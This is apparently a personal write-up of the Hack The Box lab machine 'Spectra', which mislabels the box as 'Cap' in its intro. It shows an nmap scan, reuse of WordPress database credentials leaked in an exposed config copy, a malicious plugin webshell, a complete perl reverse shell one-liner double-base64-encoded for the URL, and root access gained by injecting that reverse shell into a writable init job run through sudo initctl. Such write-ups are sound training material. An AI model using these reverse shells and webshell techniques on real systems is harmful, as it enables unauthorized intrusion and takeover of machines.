HTB: Spectra Writeup

4 minute read

There are spoilers below for the Hack The Box box named Cap. Stop reading here if you do not want spoilers!!!


I began this box with a standard nmap scan:

$ nmap -sC -sV -oA nmap/spectra
Starting Nmap 7.91 ( ) at 2021-06-08 13:01 EDT
Nmap scan report for
Host is up (0.077s latency).
Not shown: 996 closed ports
22/tcp   open  ssh              OpenSSH 8.1 (protocol 2.0)
80/tcp   open  http             nginx 1.17.4
3306/tcp open  mysql            MySQL (unauthorized)
8081/tcp open  blackice-icecap?

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 46.10 seconds


From the nmap enumeration, there were a few interesting ports, but checking out port 80 to begin with, that lead to a simple homepage which listed two linkes, one went to a Wordpress website and the second went to what appears to be a copy of it that allows directory listing. There was one interesting file in the directory, which was a copy of the wp-config.php file with a different extension, Looking at that file, we have some potential MySQL credentials:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'devtest' );

/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

Credentials noted for future reference, if needed. Attempting to log into the MySQL DB just results in a failure that my IP is unauthorized.

Visiting the Wordpress site at /main reveals a working Wordpress installation with one post from an administrator. Visiting wp-admin.php prompts for a login, which successfully works using the database password from earlier

Username: administrator
Password: devteam01

The Admin panel doesn’t appear to be able to modify theme files, so I resorted to uploading a malicious plugin. See here for details on obtaining a reverse shell through WordPress. I crafted a WordPress plugin to allow command execution:

$ cat rshell.php

 * Plugin Name: Wordpress Reverse Shell
 * Author: Me

        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        echo "</pre>";


$ zip rshell.php          
updating: rshell.php (deflated 30%)

In WordPress admin, I selected Plugins -> Add New -> Browse -> Upload -> Activate. This allowed me to upload and activate this malicious WordPress plugin to obtain a backdoor. The backdoor is then uploaded at

With the backdoor uploaded, I can play with different command execution and determine information about the machine. I had issues using a standard bash reverse shell, so I resorted to using a perl reverse shell:

perl -e 'use Socket;$i="";$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

However, some of the values in that string (specifically the & character) will cause issues in a URL, so I base64 encoded the payload:


However, that payload contains a + character, which I suspect will also cause issues as it may get treated as a space. So I base64 encoded it again:


That looks better! So to execute this, we must base64 decode it twice and send that to bash.


Crafting this into a payload to our PHP backdoor we get:|%20base64%20-d%20|%20base64%20-d%20|%20bash

And catching it with a netcat listener:

$ nc -lnvp 9000

Which receives a successful callback!


Now that we’re logged in as the nginx user, we can begin enumeration. Running linpeas, it highlighted a few things including:

-rw-r--r-- 1 root root 19 Feb  3 16:43 /etc/autologin/passwd

That’s interesting! Trying that as the root user didn’t work, but trying that as the katie user worked! We have a user SSH shell!

Username: katie
Password: SummerHereWeCome!!

Checking what katie can do, it looks like we have sudo permission to run a program:

$ sudo -l
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl

The /sbin/initctl program appears to be for starting and stopping services which are located in the /etc/init directory. Looking in that directory there are a few interesting services:

$ ls -larth
total 768K
-rw-rw----  1 root developers  478 Jun 29  2020 test9.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test8.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test7.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test6.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test5.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test4.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test3.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test2.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test10.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test1.conf
-rw-rw----  1 root developers  478 Jun 29  2020 test.conf

Interesting, the group developers has read/write access to these files, are we in that group?

$ groups
katie developers

Great! We can update these files! I then updated the test1 file to add a reverse shell to it:

$ cat test1.conf
pre-start script
    perl -e 'use Socket;$i="";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script

Starting this with the command:

$ sudo /sbin/initctl start test1

And catching the reverse shell:

$ nc -lnvp 9001

We successfully become root!